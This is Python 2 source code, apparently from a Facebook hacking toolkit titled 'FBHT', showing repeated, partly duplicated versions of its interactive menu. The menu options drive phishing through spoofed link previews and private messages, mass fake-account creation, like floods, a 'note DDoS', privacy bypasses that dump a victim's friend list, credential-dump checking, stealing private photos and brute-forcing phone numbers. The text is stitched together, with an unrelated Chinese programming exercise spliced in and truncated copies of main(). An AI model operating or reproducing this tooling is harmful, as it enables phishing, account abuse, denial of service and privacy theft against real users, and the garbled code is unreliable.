password, 'real')) != -1: summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (watch?v=): ') comment = raw_input( 'Insert a comment for the post associated to the video: ') hijackedVideo = raw_input( 'Insert the ID for the hijacked video (watch?v=): ') hijackVideo(videoLink, title, summary, comment, videoID, hijackedVideo) if (int(option) == 9): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victims user ID: ') realLink = raw_input('Insert the real link: ') title = raw_input('Insert a title for the link: ') subject = raw_input('Insert the subject: ') summary = raw_input('Insert a summary for the link: ') message = raw_input('Insert the body of the message: ') evilLink = raw_input('Insert the evil link: ') imageLink = raw_input( 'Insert the image associated to the post: ') privateMessageLink(message, victim, subject, realLink, title, summary, imageLink, evilLink) if (int(option) == 10): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victimId = raw_input('Insert the victims user ID: ') subject = raw_input('Insert the subject: ') message = raw_input('Insert the message: ') title = raw_input('Insert a title for the video: ') summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') evilLink = raw_input( 'Insert the evil link (For hijacking insert same link as above): ' ) videoID = raw_input('Insert the video ID (watch?v=): ') hijackedVideo = raw_input( 'Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ' ) privateMessagePhishing(victimId, message, subject, evilLink, videoLink, title, summary, videoID, hijackedVideo) if (int(option) == 11): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :' while True: response = raw_input('post[%d]:' % counter) if (response is not '0'): counter += 1 postId.append(response) else: break quantity = raw_input('Insert the amount of likes: ') like(postId, quantity) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' % e.args[0] raw_input('Press enter to continue..') if (int(option) == 12): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: appId = raw_input('Insert a valid AppId: ') link = raw_input('Insert de evil link: ') picture = raw_input( 'Insert a link to a picture for the post: ') title = raw_input('Insert a title for the post: ') domain = raw_input('Insert a domain for the post: ') description = raw_input('Insert a description for the post: ') comment = raw_input('Insert a comment for the post: ') appMessageSpoof(appId, link, picture, title, domain, description, comment) if (int(option) == 13): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') transitive = raw_input( 'Insert the transitive username or userId: ') print 'The information will be stored in dumps\\%s.txt \n' % victim bypassFriendshipPrivacy(victim, transitive) if (int(option) == 14): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') transitive = raw_input( 'Insert the transitive username or userId: ') print 'The information will be stored in dumps\\%s\\%s.txt \n' % ( victim, victim) bypassFriendshipPrivacyPlot(victim, transitive) if (int(option) == 15): analize = int( raw_input('Analyze an existing one, or a new one? (0|1): ')) victim = raw_input('Insert the victim username or userId: ') if (analize == 1): analyzeGraph(victim) else: reAnalyzeGraph(victim) if (int(option) == 16): fileName = raw_input('Insert the victim username: '******'Press enter to continue: ') if (int(option) == 18): print 'This will increase the execution time significantly' setGlobalLogginng() if (int(option) == 19): globalLogin = not globalLogin if (globalLogin): globalEmail, globalPassword = setMail() else: globalEmail = '' globalPassword = '' if (int(option) == 20): print 'Mail bomber through test accounts' print 'Test accounts massive creation' print 'Blocked Test account login bypass' print 'We hope this tool to be useless in the future' raw_input('Press enter to continue: ') if (int(option) == 21): signal.signal(signal.SIGINT, signal_handler) warning = True while ((warning is not '0') and (warning is not '1')): warning = raw_input( 'Your account could be blocked.. Continue? 0|1: ') if (warning == '1'): victim = raw_input( 'Insert the victim username (Bypass friends list first): ') if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: sendRequestToList(victim) if (int(option) == 22): connect.close() print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' print ' _ _ _ _______ _ _____ _ _ _ ' print '| | | | | | |__ __| | | __ \| | | | | | ' print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | ' print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | ' print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| ' print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) ' print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' exit(0)
x = str(x) for i in range(len(x)/2): if x[i] != x[-i - 1]: print 'this number is not a huiwen' break print 'this number is a huiwen' ''' 程序31】 题目:请输入星期几的第一个字母来判断一下是星期几,如果第一个字母一样,则继续 判断第二个字母。 1.程序分析:用情况语句比较好,如果第一个字母一样,则判断用情况语句或if语句判断第二个字母。 2.程序源代码: ''' from sys import stdin letter = stdin.read(1) stdin.flush() while letter != 'Y': if letter == 'S': print 'please input second letter' letter = stdin.read(1) stdin.flush() if letter == 'a': print 'Saturday' elif letter == 'u': print 'Sunday' else: print 'data error' break elif letter == 'F': print 'Friday' break
def main(): global globalLogin global globalEmail global globalPassword print ' \n \n \n \n \n \n ' print ' ______ ____ _ _ _______ ' print ' | ____| _ \| | | |__ __| ' print ' | |__ | |_) | |__| | | | ' print ' | __| | _ <| __ | | | ' print ' | | | |_) | | | | | | ' print ' |_| |____/|_| |_| |_| ' print ' ____ ___ ' print ' |___ \ / _ \ ' print ' __ ____) | | | | ' print ' \ \ / /__ <| | | | ' print ' \ V /___) | |_| | ' print ' \_/|____(_)___/ ' print ' _ _ ' print ' ____ | | (_) ' print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ ' print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |' print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |' print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|' print ' \____/ __/ | ' print ' |___/ ' print '\n\n\n\n\n\n' raw_input('Enjoy it :D . Press enter to get started') while 1: option = -1 while ((int(option) != 1) and (int(option) != 2) and (int(option) != 3) and (int(option) != 4) and (int(option) != 5) and (int(option) != 6) and (int(option) != 7) and (int(option) != 8) and (int(option) != 9) and (int(option) != 10) and (int(option) != 11) and (int(option) != 12) and (int(option) != 13) and (int(option) != 14) and (int(option) != 15) and (int(option) != 16) and (int(option) != 17) and (int(option) != 18) and (int(option) != 19) and (int(option) != 20) and (int(option) != 21) and (int(option) != 22) and (int(option) != 23) and (int(option) != 24) and (int(option) != 25) and (int(option) != 26) and (int(option) != 27) and (int(option) != 28) and (int(option) != 29) and (int(option) != 30) and (int(option) != 31) and (int(option) != 32) and (int(option) != 33)): print '\n' print '1) Create accounts\n' print '2) Delete all accounts for a given user\n' print '3) Send friendship requests (Test Accounts)\n' print '4) Accept friendship requests (Test Accounts)\n' print '5) Connect all the accounts of the database\n' print '6) Link Preview hack (Simple web version)\n' print '7) Link Preview hack (Youtube version)\n' print '8) Youtube hijack\n' print '9) Private message, Link Preview hack (Simple web version)\n' print '10) Private message, Link Preview hack (Youtube version)\n' print '11) NEW Like flood\n' print '12) Publish a post as an App (App Message Spoof)\n' print '13) Bypass friendship privacy\n' print '14) Bypass friendship privacy with graph support\n' print '15) Analyze an existing graph\n' print '16) Link to disclosed friendships\n' print '17) Print database status\n' print '18) Increase logging level globally\n' print '19) Send broadcast to friends (Individual messages)\n' print '20) Print dead attacks :\'( \n' print '21) Send friend request to disclosed friend list from your account\n' print '22) Bypass friendship (only .dot without graph integration)\n' print '23) Note DDoS attack\n' print '24) Old Like Flood (Not working)\n' print '25) NEW! SPAM any fanpage inbox\n' print '26) Bypass - database support (Beta) \n ' print '27) Logout all your friends - FB blackout \n' print '28) Take the photos!\n' print '29) Check existence of mails\n' print '30) Check working account and passwords\n' print '31) Steal private photos from password verified dump\n' print '32) Bruteforce cellphones\n' print '33) Close the application\n' choice = raw_input('Insert your choice: ') try: option = int(choice) except: raw_input('Not a digit, try again .. \n') print '\n\n' if(int(option) == 1): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword appID = raw_input('Enter Application ID: ') if (login(email,password,'real'))!= -1: number = raw_input('Insert the amount of accounts for creation (4 min): ') for i in range(int(number)/4): sTime = time() devTest(appID) getTest(appID) if(int(option) == 2): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: deleteUser() deleteAccounts() sTime = time() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue: ') if(int(option) == 3): sTime = time() massLogin() friendshipRequest() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if(int(option) == 4): sTime = time() massLogin() acceptRequest() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if(int(option) == 5): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: sTime = time() massLoginTest() raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:') if (int(option) == 6): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the link: ') link = raw_input('Insert de evil link: ') realLink = raw_input('Insert de real link: ') title = raw_input('Insert a title for the link: ') image = raw_input('Insert the image url for the post: ') comment = raw_input('Insert a comment for the post associated: ') linkPreview(link,realLink,title,summary,comment,image, privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 7): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the video: ') link = raw_input('Insert de evil link: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (w?=): ') comment = raw_input('Insert a comment for the post associated to the video: ') linkPreviewYoutube(link,videoLink,title,summary,comment,videoID,privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 8): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (watch?v=): ') comment = raw_input('Insert a comment for the post associated to the video: ') hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=): ') hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 9): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victims user ID: ') realLink = raw_input('Insert the real link: ') title = raw_input('Insert a title for the link: ') subject = raw_input('Insert the subject: ') summary = raw_input('Insert a summary for the link: ') message = raw_input('Insert the body of the message: ') evilLink = raw_input('Insert the evil link: ') imageLink = raw_input('Insert the image associated to the post: ') privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink) if (int(option) == 10): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victimId = raw_input('Insert the victims user ID: ') subject = raw_input('Insert the subject: ') message = raw_input('Insert the message: ') title = raw_input('Insert a title for the video: ') summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') evilLink = raw_input('Insert the evil link (For hijacking insert same link as above): ') videoID = raw_input('Insert the video ID (watch?v=): ') hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ') privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo) if (int(option) == 11): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :" while True: response = raw_input('post[%d]:'%counter) if ( response is not '0' ): counter+=1 postId.append(response) else: break likeDev(postId) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' %e.args[0] if (int(option) == 12): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: appId = raw_input('Insert a valid AppId: ') link = raw_input('Insert de evil link: ') picture = raw_input('Insert a link to a picture for the post: ') title = raw_input('Insert a title for the post: ') domain = raw_input('Insert a domain for the post: ') description = raw_input('Insert a description for the post: ') comment = raw_input('Insert a comment for the post: ') appMessageSpoof(appId,link,picture,title,domain,description,comment) if (int(option) == 13): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') transitive = raw_input('Insert the transitive username or userId: ') print "The information will be stored in %s. \n" % os.path.join("dumps",victim+".txt") bypassFriendshipPrivacy(victim, transitive) if (int(option) == 14): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input('Insert the transitive username or userId: ') print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt") bypassFriendshipPrivacyPlot(victim, transitive) else: friendList, friendsName = friendshipPlot(check,victim) simpleGraph(friendList, victim) print 'Friends available public ;D' if (int(option) == 15): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: analize = int(raw_input('Analyze an existing one, or a new one? (0|1): ')) victim = raw_input('Insert the victim username or userId: ') if (analize == 1): analyzeGraph(victim) else: reAnalyzeGraph(victim) if (int(option) == 16): fileName = raw_input('Insert the victim username: '******'Press enter to continue: ') if (int(option) == 18): print 'This will increase the execution time significantly' setGlobalLogginng() if (int(option) == 19): while True: online = raw_input("Send only to online friends? 0|1: ") if ((int(online) == 1) or (int(online) == 0)): break email,password = setMail() if (login(email,password,'real'))!= -1: sendBroadcast(int(1)) if (int(option) == 20): print 'Mail bomber through test accounts' print 'Test accounts massive creation' print 'Blocked Test account login bypass' print 'We hope this tool to be useless in the future' raw_input('Press enter to continue: ') if (int(option) == 21): signal.signal(signal.SIGINT, signal_handler) warning = True while ( (warning is not '0') and (warning is not '1')): warning = raw_input('Your account could be blocked.. Continue? 0|1: ') if (warning == '1'): victim = raw_input('Insert the victim username (Bypass friends list first): ') if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: sendRequestToList(victim) if (int(option) == 22): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input('Insert the transitive username or userId: ') print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt") dotFile(victim, transitive) else: print 'Friends publicly available ;D' friendList, friendsName = friendshipPlot(check,victim) simpleDotGraph(friendsName, victim) if (int(option) == 23): signal.signal(signal.SIGINT, signal_handler) print 'Facebook note DDoS attack, discovered by chr13: http://chr13.com/about-me/' if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...') imageURL = raw_input('Insert the image URL from the site attack: ') noteID = raw_input('Insert the note ID: ') option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: noteDDoS(imageURL,noteID, privacy[option]) if (int(option) == 24): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :' while True: response = raw_input('post[%d]:'%counter) if ( response is not '0' ): counter+=1 postId.append(response) else: break quantity = raw_input('Insert the amount of likes: ') like(postId, quantity) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' %e.args[0] raw_input('Press enter to continue..') if (int(option) == 25): page = raw_input('Insert the fan page name or id: ') message = raw_input('Insert the message to send: ') massMessage(page, message) if (int(option) == 26): if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: victim = raw_input('Insert the victim username or userId: ') if ( checkTableExistence(victim) != True): if (createVictimTable(victim) != -1): check = checkPrivacy(victim) if (check == -1): transitive = raw_input('Insert the transitive username or userId: ') dotFileDatabase(victim, transitive) plotDOT(victim) else: print 'Friends publicly available ;D' friendList, friendsName = friendshipPlot(check,victim) simpleDotGraphDatabase(friendsName, victim) plotDOT(victim) if (int(option) == 27): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...') noteID = raw_input('Insert the note ID: ') option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ") if option in privacySet: friendlyLogout(noteID, privacy[option]) if (int(option) == 28): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: threads = raw_input('Usage: insert the threads filename and place it in massive folder first: ') raw_input('Dumps will be stored in massive\\photos') takePhotos(threads) if (int(option) == 29): mailFile = raw_input('Insert the filename that contains the list of emails (place it in PRIVATE folder first): ') raw_input('Verified emails will be stored in PRIVATE --> existence --> verified.txt ') accountexists(mailFile) if (int(option) == 30): mailFile = raw_input('Insert the filename that contains the list of emails and passwords (place it in PRIVATE folder first) with email:password pattern: ') raw_input('Verified loggins will be stored in PRIVATE --> loggedin --> loggedin.txt ') checkLogin(mailFile) if (int(option) == 31): raw_input('You must first run option 30, if you didn\'t I will fail :D ') raw_input('Dumps will be stored in massive\\photos') steal() if (int(option) == 32): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email,password = setMail() else: email = globalEmail password = globalPassword if (login(email,password,'real'))!= -1: raw_input('Dumps will be stored in cellphones --> cellphones.txt') first = raw_input('Insert the zone code: ') start = raw_input('Insert the start number: ') end = raw_input('Insert the end number: ') bruteforceCel(first,start,end) if (int(option) == 33): connect.close() print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' print ' _ _ _ _______ _ _____ _ _ _ ' print '| | | | | | |__ __| | | __ \| | | | | | ' print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | ' print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | ' print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| ' print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) ' print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n ' exit(0)
def main(): global globalLogin global globalEmail global globalPassword print ' \n \n \n \n \n \n ' print ' ______ ____ _ _ _______ ' print ' | ____| _ \| | | |__ __| ' print ' | |__ | |_) | |__| | | | ' print ' | __| | _ <| __ | | | ' print ' | | | |_) | | | | | | ' print ' |_| |____/|_| |_| |_| ' print ' ____ ___ ' print ' |___ \ / _ \ ' print ' __ ____) | | | | ' print ' \ \ / /__ <| | | | ' print ' \ V /___) | |_| | ' print ' \_/|____(_)___/ ' print ' _ _ ' print ' ____ | | (_) ' print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ ' print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |' print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |' print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|' print ' \____/ __/ | ' print ' |___/ ' print '\n\n\n\n\n\n' raw_input('Enjoy it :D . Press enter to get started') while 1: option = -1 while ((int(option) != 1) and (int(option) != 2) and (int(option) != 3) and (int(option) != 4) and (int(option) != 5) and (int(option) != 6) and (int(option) != 7) and (int(option) != 8) and (int(option) != 9) and (int(option) != 10) and (int(option) != 11) and (int(option) != 12) and (int(option) != 13) and (int(option) != 14) and (int(option) != 15) and (int(option) != 16) and (int(option) != 17) and (int(option) != 18) and (int(option) != 19) and (int(option) != 20) and (int(option) != 21) and (int(option) != 22) and (int(option) != 23) and (int(option) != 24) and (int(option) != 25) and (int(option) != 26) and (int(option) != 27) and (int(option) != 28) and (int(option) != 29) and (int(option) != 30) and (int(option) != 31) and (int(option) != 32) and (int(option) != 33)): print '\n' print '1) Create accounts\n' print '2) Delete all accounts for a given user\n' print '3) Send friendship requests (Test Accounts)\n' print '4) Accept friendship requests (Test Accounts)\n' print '5) Connect all the accounts of the database\n' print '6) Link Preview hack (Simple web version)\n' print '7) Link Preview hack (Youtube version)\n' print '8) Youtube hijack\n' print '9) Private message, Link Preview hack (Simple web version)\n' print '10) Private message, Link Preview hack (Youtube version)\n' print '11) NEW Like flood\n' print '12) Publish a post as an App (App Message Spoof)\n' print '13) Bypass friendship privacy\n' print '14) Bypass friendship privacy with graph support\n' print '15) Analyze an existing graph\n' print '16) Link to disclosed friendships\n' print '17) Print database status\n' print '18) Increase logging level globally\n' print '19) Set global login (Credentials stored in memory - Danger)\n' print '20) Print dead attacks :\'( \n' print '21) Send friend request to disclosed friend list from your account\n' print '22) Bypass friendship (only .dot without graph integration)\n' print '23) Note DDoS attack\n' print '24) Old Like Flood (Not working)\n' print '25) NEW! SPAM any fanpage inbox\n' print '26) Bypass - database support (Beta) \n ' print '27) Logout all your friends - FB blackout \n' print '28) Take the photos!\n' print '29) Check existence of mails\n' print '30) Check working account and passwords\n' print '31) Steal private photos from password verified dump\n' print '32) Bruteforce celphones\n' print '33) Close the application\n' choice = raw_input('Insert your choice: ') try: option = int(choice) except: raw_input('Not a digit, try again .. \n') print '\n\n' if (int(option) == 1): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword appID = raw_input('Enter Application ID: ') if (login(email, password, 'real')) != -1: number = raw_input( 'Insert the amount of accounts for creation (4 min): ') for i in range(int(number) / 4): sTime = time() devTest(appID) getTest(appID) if (int(option) == 2): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: deleteUser() deleteAccounts() sTime = time() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue: ') if (int(option) == 3): sTime = time() massLogin() friendshipRequest() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 4): sTime = time() massLogin() acceptRequest() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 5): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: sTime = time() massLoginTest() raw_input('Execution time : %d' % (time() - sTime) + '\nPress Enter to continue:') if (int(option) == 6): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: option = raw_input( "Insert option for privacy 0:Public 1:Friends 2:Only Me : " ) if option in privacySet: summary = raw_input('Insert a summary for the link: ') link = raw_input('Insert de evil link: ') realLink = raw_input('Insert de real link: ') title = raw_input('Insert a title for the link: ') image = raw_input('Insert the image url for the post: ') comment = raw_input( 'Insert a comment for the post associated: ') linkPreview(link, realLink, title, summary, comment, image, privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 7): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: option = raw_input( "Insert option for privacy 0:Public 1:Friends 2:Only Me : " ) if option in privacySet: summary = raw_input('Insert a summary for the video: ') link = raw_input('Insert de evil link: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (w?=): ') comment = raw_input( 'Insert a comment for the post associated to the video: ' ) linkPreviewYoutube(link, videoLink, title, summary, comment, videoID, privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 8): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: option = raw_input( "Insert option for privacy 0:Public 1:Friends 2:Only Me : " ) if option in privacySet: summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') title = raw_input('Insert a title for the video: ') videoID = raw_input('Insert the video ID (watch?v=): ') comment = raw_input( 'Insert a comment for the post associated to the video: ' ) hijackedVideo = raw_input( 'Insert the ID for the hijacked video (watch?v=): ') hijackVideo(videoLink, title, summary, comment, videoID, hijackedVideo, privacy[option]) else: print "Wrong privacy value, try again " if (int(option) == 9): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victims user ID: ') realLink = raw_input('Insert the real link: ') title = raw_input('Insert a title for the link: ') subject = raw_input('Insert the subject: ') summary = raw_input('Insert a summary for the link: ') message = raw_input('Insert the body of the message: ') evilLink = raw_input('Insert the evil link: ') imageLink = raw_input( 'Insert the image associated to the post: ') privateMessageLink(message, victim, subject, realLink, title, summary, imageLink, evilLink) if (int(option) == 10): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victimId = raw_input('Insert the victims user ID: ') subject = raw_input('Insert the subject: ') message = raw_input('Insert the message: ') title = raw_input('Insert a title for the video: ') summary = raw_input('Insert a summary for the video: ') videoLink = raw_input('Insert de youtube link: ') evilLink = raw_input( 'Insert the evil link (For hijacking insert same link as above): ' ) videoID = raw_input('Insert the video ID (watch?v=): ') hijackedVideo = raw_input( 'Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ' ) privateMessagePhishing(victimId, message, subject, evilLink, videoLink, title, summary, videoID, hijackedVideo) if (int(option) == 11): signal.signal(signal.SIGINT, signal_handler) try: counter = 0 postId = [] print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :" while True: response = raw_input('post[%d]:' % counter) if (response is not '0'): counter += 1 postId.append(response) else: break likeDev(postId) except EOFError: print 'EOFError' stdin.flush() pass except signalCaught as e: print ' %s' % e.args[0] if (int(option) == 12): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: appId = raw_input('Insert a valid AppId: ') link = raw_input('Insert de evil link: ') picture = raw_input( 'Insert a link to a picture for the post: ') title = raw_input('Insert a title for the post: ') domain = raw_input('Insert a domain for the post: ') description = raw_input('Insert a description for the post: ') comment = raw_input('Insert a comment for the post: ') appMessageSpoof(appId, link, picture, title, domain, description, comment) if (int(option) == 13): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') transitive = raw_input( 'Insert the transitive username or userId: ') print "The information will be stored in %s. \n" % os.path.join( "dumps", victim + ".txt") bypassFriendshipPrivacy(victim, transitive) if (int(option) == 14): signal.signal(signal.SIGINT, signal_handler) if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: victim = raw_input('Insert the victim username or userId: ') check = checkPrivacy(victim) if (check == -1): transitive = raw_input( 'Insert the transitive username or userId: ') print 'The information will be stored in %s \n' % os.path.join( "dumps", victim, victim + ".txt") bypassFriendshipPrivacyPlot(victim, transitive) else: friendList, friendsName = friendshipPlot(check, victim) simpleGraph(friendList, victim) print 'Friends available public ;D' if (int(option) == 15): if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: analize = int( raw_input( 'Analyze an existing one, or a new one? (0|1): ')) victim = raw_input('Insert the victim username or userId: ') if (analize == 1): analyzeGraph(victim) else: reAnalyzeGraph(victim) if (int(option) == 16): fileName = raw_input('Insert the victim username: '******'Press enter to continue: ') if (int(option) == 18): print 'This will increase the execution time significantly' setGlobalLogginng() if (int(option) == 19): globalLogin = not globalLogin if (globalLogin): globalEmail, globalPassword = setMail() else: globalEmail = '' globalPassword = '' if (int(option) == 20): print 'Mail bomber through test accounts' print 'Test accounts massive creation' print 'Blocked Test account login bypass' print 'We hope this tool to be useless in the future' raw_input('Press enter to continue: ') if (int(option) == 21): signal.signal(signal.SIGINT, signal_handler) warning = True while ((warning is not '0') and (warning is not '1')): warning = raw_input( 'Your account could be blocked.. Continue? 0|1: ') if (warning == '1'): victim = raw_input( 'Insert the victim username (Bypass friends list first): ') if (globalLogin == False): email, password = setMail() else: email = globalEmail password = globalPassword if (login(email, password, 'real')) != -1: sendRequestToList(victim) if (int(option) == 22): 